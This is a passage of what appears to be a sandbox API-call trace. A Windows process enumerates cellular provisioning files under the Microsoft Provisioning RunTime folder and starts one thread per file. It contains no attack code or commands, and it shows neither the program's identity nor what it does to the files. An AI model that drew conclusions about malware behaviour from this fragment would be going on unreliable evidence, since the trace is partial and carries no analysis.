_Dest=0x3044138, _Source="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml" [0180.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0180.228] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d9b6fb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d9b6fb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d9b6fb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="374__C~1.PRO")) returned 1 [0180.228] wcscmp (_String1="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0180.228] wcscmp (_String1="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0180.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054830 [0180.228] wcscpy (in: _Dest=0x3054830, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.228] wcscat (in: _Dest=0x3054830, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.228] wcscat (in: _Dest=0x3054830, _Source="374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0180.229] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0180.229] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90dc1962, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90dc1962, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90dc1962, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x291, dwReserved0=0x0, dwReserved1=0x0, cFileName="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="375__C~1.PRO")) returned 1 [0180.229] wcscmp (_String1="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.229] wcscmp (_String1="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.229] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x160) returned 0x2fa2f68 [0180.229] wcscpy (in: _Dest=0x2fa2f68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.229] wcscat (in: _Dest=0x2fa2f68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.229] wcscat (in: _Dest=0x2fa2f68, _Source="375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml" [0180.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0180.230] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90dc1962, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90dc1962, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90dc1962, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="376__C~1.PRO")) returned 1 [0180.230] wcscmp (_String1="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.230] wcscmp (_String1="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.230] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x3044540 [0180.230] wcscpy (in: _Dest=0x3044540, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.230] wcscat (in: _Dest=0x3044540, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.230] wcscat (in: _Dest=0x3044540, _Source="376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml" [0180.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0180.231] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90dc1962, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90dc1962, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90dc1962, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", cAlternateFileName="377__C~1.PRO")) returned 1 [0180.231] wcscmp (_String1="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.231] wcscmp (_String1="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x188) returned 0x2fe31d8 [0180.231] wcscpy (in: _Dest=0x2fe31d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.231] wcscat (in: _Dest=0x2fe31d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.231] wcscat (in: _Dest=0x2fe31d8, _Source="377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" [0180.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe31d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0180.232] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90de7bce, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90de7bce, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90de7bce, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x386, dwReserved0=0x0, dwReserved1=0x0, cFileName="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="378__C~1.PRO")) returned 1 [0180.235] wcscmp (_String1="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.235] wcscmp (_String1="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.235] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x3044aa0 [0180.235] wcscpy (in: _Dest=0x3044aa0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.235] wcscat (in: _Dest=0x3044aa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.235] wcscat (in: _Dest=0x3044aa0, _Source="378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml" [0180.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0180.236] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90de7bce, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90de7bce, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90de7bce, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="379__C~1.PRO")) returned 1 [0180.236] wcscmp (_String1="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.236] wcscmp (_String1="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.236] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x3044290 [0180.236] wcscpy (in: _Dest=0x3044290, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.236] wcscat (in: _Dest=0x3044290, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.236] wcscat (in: _Dest=0x3044290, _Source="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml" [0180.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0180.237] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901fba3a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901fba3a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901fba3a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", cAlternateFileName="37__CO~1.PRO")) returned 1 [0180.237] wcscmp (_String1="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.237] wcscmp (_String1="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.237] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f021d0 [0180.237] wcscpy (in: _Dest=0x4f021d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.237] wcscat (in: _Dest=0x4f021d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.237] wcscat (in: _Dest=0x4f021d0, _Source="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml" [0180.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f021d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0180.237] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90de7bce, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90de7bce, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90de7bce, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="380__C~1.PRO")) returned 1 [0180.237] wcscmp (_String1="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0180.237] wcscmp (_String1="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0180.237] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054968 [0180.238] wcscpy (in: _Dest=0x3054968, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.238] wcscat (in: _Dest=0x3054968, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.238] wcscat (in: _Dest=0x3054968, _Source="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0180.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0180.238] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90de7bce, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90de7bce, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90de7bce, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", cAlternateFileName="381__C~1.PRO")) returned 1 [0180.238] wcscmp (_String1="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.238] wcscmp (_String1="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.238] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2faae40 [0180.238] wcscpy (in: _Dest=0x2faae40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.238] wcscat (in: _Dest=0x2faae40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.238] wcscat (in: _Dest=0x2faae40, _Source="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" [0180.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faae40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0180.239] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90de7bce, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90de7bce, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90de7bce, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", cAlternateFileName="382__C~1.PRO")) returned 1 [0180.239] wcscmp (_String1="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.239] wcscmp (_String1="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.239] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x3044698 [0180.239] wcscpy (in: _Dest=0x3044698, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.239] wcscat (in: _Dest=0x3044698, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.239] wcscat (in: _Dest=0x3044698, _Source="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml" [0180.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0180.242] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e0de39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e0de39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e0de39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", cAlternateFileName="383__C~1.PRO")) returned 1 [0180.242] wcscmp (_String1="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.242] wcscmp (_String1="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.242] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x3044d50 [0180.242] wcscpy (in: _Dest=0x3044d50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All 